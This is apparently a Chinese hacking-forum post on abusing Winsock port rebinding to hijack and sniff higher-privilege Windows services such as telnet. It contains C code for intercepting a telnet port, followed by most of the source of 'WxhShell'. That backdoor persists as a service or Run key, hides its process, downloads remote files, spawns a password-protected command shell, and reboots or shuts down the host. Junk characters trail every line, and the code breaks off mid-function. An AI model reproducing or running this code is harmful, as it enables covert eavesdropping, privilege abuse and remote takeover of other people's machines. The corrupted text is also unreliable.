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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NZB*;U~t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f,TW|Y'{g  
MeEa|.  
  saddr.sin_family = AF_INET;  TUcFx_  
"/Qz?1>l+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); M%S7cIX ]F  
,<rC,4-F<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .`OU\LA  
F}_b7 |^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;'n%\*+fHH  
=GX5T(P8k  
  这意味着什么?意味着可以进行如下的攻击: jq,M1  
&j F'2D^_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *-nO,K>y`  
Te+(7 Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *4U_MM#rX  
mAW.p=;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r N$0qo  
g-sNYd%?a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  = j1Jl^[  
>a?Bk4w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v1OVrk>s>  
fvC,P#z'|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Tz @=N]D  
J?8Mo=UZz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _Vr- bpAf  
v76Gwu$ d  
  #include W@T \i2r$z  
  #include o9eOp3w30  
  #include [I *_0  
  #include    TJ"-cWpO1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xnZnbgO+  
  int main() )zr*Ecz  
  { %10ONe}  
  WORD wVersionRequested; n~I-mR)"  
  DWORD ret; fN&\8SPE  
  WSADATA wsaData; u<edO+  
  BOOL val; WO qDW~  
  SOCKADDR_IN saddr; a2Ak?W1  
  SOCKADDR_IN scaddr; g< j)  
  int err; Z =+Z96  
  SOCKET s; xe!bfzU  
  SOCKET sc; JsJP%'^/R  
  int caddsize; MGR:IOTa  
  HANDLE mt; Dkz/hg:q  
  DWORD tid;   '=_(fa,  
  wVersionRequested = MAKEWORD( 2, 2 ); yvYMk(LSF  
  err = WSAStartup( wVersionRequested, &wsaData ); ~[ufL25K  
  if ( err != 0 ) { B0@ Tz39=  
  printf("error!WSAStartup failed!\n"); E_ns4k#uG  
  return -1; !Km[Qw k-  
  } \Bo%2O%4  
  saddr.sin_family = AF_INET; !D??Y^6bI  
   Nz dN4+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ukiWNF/  
/$c87\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); EF`}*7)  
  saddr.sin_port = htons(23); u} ot-!}Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dQ`Tt- n  
  { :$k*y%Z*N&  
  printf("error!socket failed!\n"); hne@I1  
  return -1; #t ;`  
  } ]fM|cN8(zM  
  val = TRUE; S1QMS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 uM2@&)u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) AF'<  
  { %(YQ)=w  
  printf("error!setsockopt failed!\n"); `Lr], >aG  
  return -1; $mQ0w~:@  
  } up5f]:!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A=<7*E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V 0Bl6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &hYgu3O  
|:eTo<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) < z<>E1ZLI  
  { !.vyzCJTzB  
  ret=GetLastError(); ,PlH|  
  printf("error!bind failed!\n"); ,H]%4@]|o  
  return -1; 6w^P{%ul  
  } b>-DX  
  listen(s,2); n~^SwOt~;5  
  while(1) nR_Z rm  
  { :G _  
  caddsize = sizeof(scaddr); W==~ 9  
  //接受连接请求 2R/|/>T v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F1Z'tjj+  
  if(sc!=INVALID_SOCKET) LF7- ?? '  
  { *tXyd<_Hd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &6sF wK  
  if(mt==NULL) *9'3 `^l  
  { *[si!e%  
  printf("Thread Creat Failed!\n"); hYJzF.DW<$  
  break; u$T]A8e  
  } p<fCGU  
  } TLwxP"  
  CloseHandle(mt); RjW wsC~B  
  } V^_A{\GK  
  closesocket(s); {-Y;!  
  WSACleanup(); :iE b^F}  
  return 0; @](vFb  
  }   !T0I; j&  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6K.2VY#  
  { :HY$x  
  SOCKET ss = (SOCKET)lpParam; '`jGr+K,wU  
  SOCKET sc; ?ko#N?hgI  
  unsigned char buf[4096]; H*W>v[>  
  SOCKADDR_IN saddr; 2zC4nF)>O  
  long num; Ta?J;&<u]/  
  DWORD val; (?4%Xtul1  
  DWORD ret; 2 @#yQB1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tguB@,O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *'Yy@T8M  
  saddr.sin_family = AF_INET; R"t#dG]1t  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .QvD603%5  
  saddr.sin_port = htons(23); m+c-"arIpA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uxfh?gsL  
  { DDrR9}k  
  printf("error!socket failed!\n"); iH(7.?.r  
  return -1; qAjtvc2  
  } SXL3>-Z E  
  val = 100; {$frR "K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4"P9z}y=i  
  { o 4F'z  
  ret = GetLastError(); MPB[~#:  
  return -1; 7b"fpB  
  } | eBwcC#^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `J.,dqGb  
  { Sdq}?-&Sa  
  ret = GetLastError();  [Sm<X  
  return -1; t'44X  
  } <6Q^o[L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a#p+.)Wm  
  { >_}isCd,  
  printf("error!socket connect failed!\n"); @|Pm%K`1  
  closesocket(sc); 't<iB&wgF  
  closesocket(ss); j )J |'b|  
  return -1; -@N-i$!;J  
  } E+L7[  
  while(1) @\by`3*Q  
  { xFu ,e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qk& F>6<9*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {hS!IOM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Rpn<"LIoB:  
  num = recv(ss,buf,4096,0); I}8e"#  
  if(num>0) @ m`C%7<  
  send(sc,buf,num,0); LHY7_"u#  
  else if(num==0) $?GggP d  
  break; Z=Y29V8  
  num = recv(sc,buf,4096,0); <nk|Z'G E  
  if(num>0) Nc+0_|,  
  send(ss,buf,num,0); >G`p T#  
  else if(num==0) ^|/mn!7wD  
  break; %1#\LRA(  
  } Y:\msq1xp  
  closesocket(ss); mEY#QN[eq  
  closesocket(sc); PD&e6;rj;  
  return 0 ; H oQb.Z  
  } YIe1AF}   
ZF7@b/-me  
A]bb*a1  
========================================================== do" m=y  
//8W">u  
下边附上一个代码,,WXhSHELL 7 A0?tG  
jF6_yw  
========================================================== dk&F?B{6T  
v H HgZ  
#include "stdafx.h" >iT mILA  
Fs]N9],=I  
#include <stdio.h> 6))":<J  
#include <string.h> v`4w=!4  
#include <windows.h> 9^*RK6  
#include <winsock2.h> I0 t#{i  
#include <winsvc.h> HI5NWdfRl  
#include <urlmon.h> !S?Fz]  
$yOB-  
#pragma comment (lib, "Ws2_32.lib") t 24`*'  
#pragma comment (lib, "urlmon.lib") +^7cS6"L  
!oz{XWE  
#define MAX_USER   100 // 最大客户端连接数 p3P8@M  
#define BUF_SOCK   200 // sock buffer P& 1$SWNyW  
#define KEY_BUFF   255 // 输入 buffer \;7U:Y$v  
Cmx<>7fN  
#define REBOOT     0   // 重启 P>_O :xD  
#define SHUTDOWN   1   // 关机 2Bt/co-~4  
u|<?m A!  
#define DEF_PORT   5000 // 监听端口 tw4,gW  
_9BL7W $;  
#define REG_LEN     16   // 注册表键长度 Yc#Uu8f-  
#define SVC_LEN     80   // NT服务名长度 9R=avfI  
ZA=J`- >k  
// 从dll定义API Luao?;|U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :hICe+2ca  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [Qs`@u<%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KS_+R@3Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z83v J*.  
a?gF;AYk  
// wxhshell配置信息 9~V'Wev  
struct WSCFG { !*l/Pr^8  
  int ws_port;         // 监听端口 }Y-V!z5z!  
  char ws_passstr[REG_LEN]; // 口令 hWly8B[I  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ti2cD  
  char ws_regname[REG_LEN]; // 注册表键名 ~W @dF~r  
  char ws_svcname[REG_LEN]; // 服务名 OP!R>|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (aYu[ML  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?e9tnk3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 21!X[) r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y1cL dQn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $#V'm{Hh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4&E"{d >  
5 3pW:`  
}; >33=0<  
_`gF%$]b  
// default Wxhshell configuration Mmz; uy_  
struct WSCFG wscfg={DEF_PORT, mAlG }<  
    "xuhuanlingzhe", K+Him] b  
    1, yl$Ko  
    "Wxhshell", e"866vc,  
    "Wxhshell", 1(;{w +nM  
            "WxhShell Service", aQoB1 qd8  
    "Wrsky Windows CmdShell Service", Q7x[08TI  
    "Please Input Your Password: ", {/noYB<;  
  1, fV+a0=Z  
  "http://www.wrsky.com/wxhshell.exe", "'5(UiSFz  
  "Wxhshell.exe" hT^&*}G  
    }; C2<TR PT  
:s_o'8z7L  
// 消息定义模块 LB@<Q.b,U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i?^L",[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -O &>HA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]fb@>1 jp  
char *msg_ws_ext="\n\rExit."; iZTU]+z!  
char *msg_ws_end="\n\rQuit."; &wi+)d  
char *msg_ws_boot="\n\rReboot..."; j+3\I>  
char *msg_ws_poff="\n\rShutdown..."; EI=~*&t  
char *msg_ws_down="\n\rSave to "; !v2/sq$G  
`GE8?UO-  
char *msg_ws_err="\n\rErr!"; RrxbsG1HP  
char *msg_ws_ok="\n\rOK!"; ,|c;x1|O  
_HM?p(H@  
char ExeFile[MAX_PATH]; M XW1 :  
int nUser = 0; j~_iv~[  
HANDLE handles[MAX_USER]; 7bYwh8  
int OsIsNt; R\cx-h*  
nHRsr x  
SERVICE_STATUS       serviceStatus; {5VJprTbv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i>S@C@~  
*Y8 5ev q  
// 函数声明 09 McUR@  
int Install(void); 1*A^v  
int Uninstall(void); bF9.k  
int DownloadFile(char *sURL, SOCKET wsh); I{w(`[Nxw*  
int Boot(int flag); bR3Crz(9G  
void HideProc(void); i).Vu}W#S  
int GetOsVer(void); 6!i`\>I]  
int Wxhshell(SOCKET wsl); #;99vwc  
void TalkWithClient(void *cs); gy?uk~p  
int CmdShell(SOCKET sock); 5H Cw%n9  
int StartFromService(void); {zZ)JWM<w  
int StartWxhshell(LPSTR lpCmdLine); <e! TF @  
KxErWP%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >}wFePl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9O &]!ga  
p7AsNqEp  
// 数据结构和表定义 ]ovtH .y  
SERVICE_TABLE_ENTRY DispatchTable[] = 9'(^ Coq  
{ j![1  
{wscfg.ws_svcname, NTServiceMain}, 7zzFM  
{NULL, NULL} %KF I~Qk  
}; 'g <"@SS+  
<IIz-6*V  
// 自我安装 }bi hlyB&Q  
int Install(void) %V;* E]  
{ 'WHI.*=  
  char svExeFile[MAX_PATH]; 8nZ_.  
  HKEY key; nt"\FZ*;3  
  strcpy(svExeFile,ExeFile); Fr50hrtkU  
S? Cd,WxT  
// 如果是win9x系统,修改注册表设为自启动 m>Z3p7!N}  
if(!OsIsNt) { O-.G("  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KHP/Y {mH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !L +b{  
  RegCloseKey(key); ~_0XG0oA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2iKteJ@h)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E6R\ DM  
  RegCloseKey(key); MMO/vJC  
  return 0; WUau KRR.  
    } %>/&&(BE  
  } \Dl MOG  
} #-b}QhxH  
else { [.Fm-$M-  
xrXfZ>$5bM  
// 如果是NT以上系统,安装为系统服务 ^PC;fn,I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cY+fZ=  
if (schSCManager!=0) <FR!x#!   
{ qYoU\y7  
  SC_HANDLE schService = CreateService 7*K2zu3  
  ( x?rd9c  
  schSCManager, / \qzTo  
  wscfg.ws_svcname, d l Ab`ne  
  wscfg.ws_svcdisp, l ?b*T#uIk  
  SERVICE_ALL_ACCESS, '_Q';T_n99  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IJ5'n  
  SERVICE_AUTO_START, 8 # BR\  
  SERVICE_ERROR_NORMAL, w^cQL%  
  svExeFile, Mk9J~'C_  
  NULL, mb`h  
  NULL, )Pubur %,  
  NULL, TPx`qyW  
  NULL, Vo[.^0  
  NULL cSv;HN:  
  ); B*)mHSs2  
  if (schService!=0) H/*slqL  
  { o+{7"Na8[  
  CloseServiceHandle(schService); ^r<l#D,  
  CloseServiceHandle(schSCManager); &hZ.K"@7{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e34g=]"  
  strcat(svExeFile,wscfg.ws_svcname); [OPF3W3z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yD$d^/:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'Sgz\ =K  
  RegCloseKey(key); CXuMNa  
  return 0; 9]T61Z{OW1  
    } %jx<<hW  
  } zXUB6. e  
  CloseServiceHandle(schSCManager); YHY*dk*|C  
} yzl}!& E  
} )b%zYD9p  
QxbG-B^)=  
return 1; Pxkh;:agD  
} 4K HIUW$  
w`< {   
// 自我卸载 @+ T33X)h%  
int Uninstall(void) O9<oq  
{ Gh6U<;V?*  
  HKEY key; ?Vh#Gr  
}Q9+krrow  
if(!OsIsNt) { +2p}KpOsL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eVX/<9>  
  RegDeleteValue(key,wscfg.ws_regname); Rxr?T-  
  RegCloseKey(key); eu]qgtg~U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4Wvefq"  
  RegDeleteValue(key,wscfg.ws_regname); oV9{{  
  RegCloseKey(key); M @G\b^"  
  return 0; GbQg(%2F  
  } 0dsL%G~/N  
} RH7!3ye  
} zFDtC-GF  
else { hW~UJ/$  
<e S+3,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OXl0R{4  
if (schSCManager!=0) *aFh*-Sj2I  
{ (["V( $  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oO7)7$|1  
  if (schService!=0) SY:ISzB}  
  { }Q\+w,pJgN  
  if(DeleteService(schService)!=0) { YUTh*`1k<  
  CloseServiceHandle(schService); \QG2V$  
  CloseServiceHandle(schSCManager); }G^'y8U  
  return 0; m$hkmD|  
  } wSM(!:on5  
  CloseServiceHandle(schService); ?I+$KjE+  
  } 6Hy_7\$(-  
  CloseServiceHandle(schSCManager); 0"GLgj:9  
} $Fi1Bv)  
} b?!S$Sxz  
+Y;hVc E9  
return 1; )lz)h*%#  
} x|c_(  
" &`>+Yw  
// 从指定url下载文件 m;1/+qs0  
int DownloadFile(char *sURL, SOCKET wsh) 9s7TLT k  
{ 6Z=Qs=q  
  HRESULT hr; e_l|32#/  
char seps[]= "/"; (!efaj  
char *token; TI2K_'  
char *file; a3A3mBw  
char myURL[MAX_PATH]; j0Cj&x%qF}  
char myFILE[MAX_PATH]; zN)).a  
Ek_<2!%X  
strcpy(myURL,sURL); '-XO;{,-R  
  token=strtok(myURL,seps); C CLc,r>)  
  while(token!=NULL) UUvCi+W  
  { bVa?yWb.  
    file=token; .kkhW8:  
  token=strtok(NULL,seps); 6]?W&r|0I  
  } KW ZEi?  
`}L{gssv  
GetCurrentDirectory(MAX_PATH,myFILE); 5eyB\>k,  
strcat(myFILE, "\\"); W|E %  
strcat(myFILE, file); 'mm>E  
  send(wsh,myFILE,strlen(myFILE),0); IAN={";p  
send(wsh,"...",3,0); ([^f1;ncm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [}l 90lP  
  if(hr==S_OK) FJKlqM5]  
return 0; `|v/qk7 ^?  
else z;/8R7L&  
return 1; D6fd(=t1Z  
'qG-)2 t  
} ox\D04:M  
R >&8%%#  
// 系统电源模块 \L}7.fkb8  
int Boot(int flag) l,3,$  
{ R[* n3 wB  
  HANDLE hToken; !g)rp`?  
  TOKEN_PRIVILEGES tkp; \Mdi eO*  
<9:~u]ixt  
  if(OsIsNt) { 9d( M%F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (J%>{?"ij  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6hcK%0z  
    tkp.PrivilegeCount = 1; @o#Yq n3Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Nz*,m'-1e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hM>.xr  
if(flag==REBOOT) { 8TU(5:xJo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K:Z(jF!j  
  return 0; =FiO{Aw`N  
} Oz&*A/si+3  
else { >pJ#b=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;kR=vv  
  return 0; 3J/l>1[  
} )iK:BL*Nw  
  } s5Wb iOF  
  else { zKaj<Og  
if(flag==REBOOT) { bC) <K/Q9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rce._w }  
  return 0; a"t~ K  
} 4%_xT o  
else { .!i`YT*jF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wa`c3PQGu  
  return 0; >p;&AaXkoG  
} ;KEie@Ry  
} k\dPF@~Hvl  
JY;u<xl  
return 1; I36%oA  
} O?"uM>r  
myqwU`s  
// win9x进程隐藏模块 ~Je40vO[  
void HideProc(void) .Y8P6_  
{ cq3Z}Cp  
lk R^2P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Of$R+n.  
  if ( hKernel != NULL ) V\]j^$  
  { @t*D<B$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ukc 7Z OQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &N+`O)$  
    FreeLibrary(hKernel); ~_F;>N~  
  } T (]*jaB  
0*oavY*  
return; 02NVdpo[wU  
} 4sBvW  
Q 8;JvCz   
// 获取操作系统版本 Dfc% jWbA  
int GetOsVer(void) gX(Xj@=(&  
{ 0M&~;`W}  
  OSVERSIONINFO winfo; 19pFNg'kA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .5s^a.e'O  
  GetVersionEx(&winfo); 3c(mZ   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Br42Qo2"T>  
  return 1; 'iOa j0f  
  else v"mZy,u  
  return 0; ,S<) )  
} s16, *;Z  
H8HVmfM  
// 客户端句柄模块 ?U O aqcL  
int Wxhshell(SOCKET wsl) {cO8q }L  
{ ' u;Zw%O(J  
  SOCKET wsh; qdmAkYUC  
  struct sockaddr_in client; :*DWL!a  
  DWORD myID; FZZO-,xa  
P>_9>k@;Q  
  while(nUser<MAX_USER) q@ ;1{  
{ y65lbl%Z n  
  int nSize=sizeof(client); h+&iWb3;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;cPPx`0$9  
  if(wsh==INVALID_SOCKET) return 1; Y|J=72!]  
V8&'dhuG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Qb55q`'z  
if(handles[nUser]==0) ~{-Ka>A  
  closesocket(wsh); ])%UZM6  
else B9KBq $e  
  nUser++; o2hZ=+w>  
  } 7'Hh^0<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A"s?;hv\fS  
j{2 0  
  return 0; Dv` "3  
} }aI>dHL  
P/^@t+KC  
// 关闭 socket 6BEpnw>p(  
void CloseIt(SOCKET wsh) R$A%Zh6  
{ W=LJhCpRHj  
closesocket(wsh); R#8cOmZ  
nUser--; 7 b(  
ExitThread(0); :F#^Q%-IS  
} 7#oq|5  
3/uvw>$  
// 客户端请求句柄 LHu  
void TalkWithClient(void *cs) +Wy`X5v  
{ |:4?K*w",  
eH!V%dX  
  SOCKET wsh=(SOCKET)cs; $ <C",&  
  char pwd[SVC_LEN]; iQT0%WaHl  
  char cmd[KEY_BUFF]; }~ N\A  
char chr[1]; Ea'jAIFPpO  
int i,j;  98^7pa  
@]8flb )T  
  while (nUser < MAX_USER) { _3wK: T{:  
b`j9}t Z  
if(wscfg.ws_passstr) { MLM/!N 7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $>uUn3hSx\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4K dYiuz0`  
  //ZeroMemory(pwd,KEY_BUFF); >,'guaa  
      i=0; =h +SZXe<r  
  while(i<SVC_LEN) { }Qe(6'l_  
A:2CP&*  
  // 设置超时 XqhrQU|wM  
  fd_set FdRead; W/WP }QM  
  struct timeval TimeOut; e6tU8`z  
  FD_ZERO(&FdRead); (: k n)  
  FD_SET(wsh,&FdRead); Iw)m9h  
  TimeOut.tv_sec=8; #R31V QwK5  
  TimeOut.tv_usec=0; :%j"l7=>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )Y'g;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZNk[Jn [.  
92.Rjz;=9?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G %\/[ B  
  pwd=chr[0]; &DHIYj1 i  
  if(chr[0]==0xd || chr[0]==0xa) { P2iuB|B@  
  pwd=0; P$N5j~*  
  break; /-m)  
  } c;-N RvVb  
  i++; *B{]  
    } 0T#z"l<L  
"Ms{c=XPK  
  // 如果是非法用户,关闭 socket ?u".*!%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f8qDmk5s  
} D+! S\~u  
|8[!`T*s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s'l|Ii  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \w1',"l`  
?OoI6 3&  
while(1) { u*uHdV5  
dn?'06TD  
  ZeroMemory(cmd,KEY_BUFF); i ps)-1  
p[At0Gc L  
      // 自动支持客户端 telnet标准   V EsM  
  j=0; t l7:L>  
  while(j<KEY_BUFF) { ^;( dF<?'r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5 $$Cav  
  cmd[j]=chr[0]; X%JyC_~<  
  if(chr[0]==0xa || chr[0]==0xd) { ].aFdy  
  cmd[j]=0; AcH!KbYf  
  break; I*(kv7(c0  
  } n _ ?+QF  
  j++; ,O-_Pv  
    } .m>Qlh  
gi5X ,:[  
  // 下载文件 +F-Y^):  
  if(strstr(cmd,"http://")) { ^-mWk?>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?[>Y@we  
  if(DownloadFile(cmd,wsh)) -'d`(G"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +%Kk zdS'  
  else :V#xrH8R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); omy3<6  
  } iyr8*L\  
  else { 99By.+~pX  
O0`ofFN  
    switch(cmd[0]) { AFvv+ ss  
  5rCJIl.  
  // 帮助 n_LK8  
  case '?': { TvT>UBqj=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3B,dL|q(@J  
    break; ~]?EV?T  
  } ,3MHZPJ?k]  
  // 安装 6@FhDj2X  
  case 'i': { On!+7is'  
    if(Install()) a MFUj+^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ][V`ym-e  
    else @W @,8e]c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zw$\d1-+h  
    break; mJ5%+.V  
    } ePv`R'#  
  // 卸载 (V'w5&f(L  
  case 'r': { WS.g` %  
    if(Uninstall()) P_  8!Gp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N=T}  
    else )8}k.t>'s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WJa7  
    break; F:jtzy"  
    } wTZ(vX*mK  
  // 显示 wxhshell 所在路径 %Ny1H/@Q1+  
  case 'p': { H_x} -  
    char svExeFile[MAX_PATH]; V:P]Ved  
    strcpy(svExeFile,"\n\r"); ; qbK[3.  
      strcat(svExeFile,ExeFile); A:z  
        send(wsh,svExeFile,strlen(svExeFile),0); }|[0FP]v  
    break; hy%5LV<(  
    } Vjo[rUW  
  // 重启 0YfmAF$/B  
  case 'b': { kX}sDvP3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *mWl=J;u  
    if(Boot(REBOOT)) gN[t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rLmc(-q  
    else { ~!7x45( 1#  
    closesocket(wsh); ]>k8v6*=  
    ExitThread(0); 6|3 X*Orn  
    } NRT]dYf"z  
    break; !Yn#3c  
    } 6w m-uu  
  // 关机 D/4]r@M2c  
  case 'd': { I!1+#0SG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iT O Y  
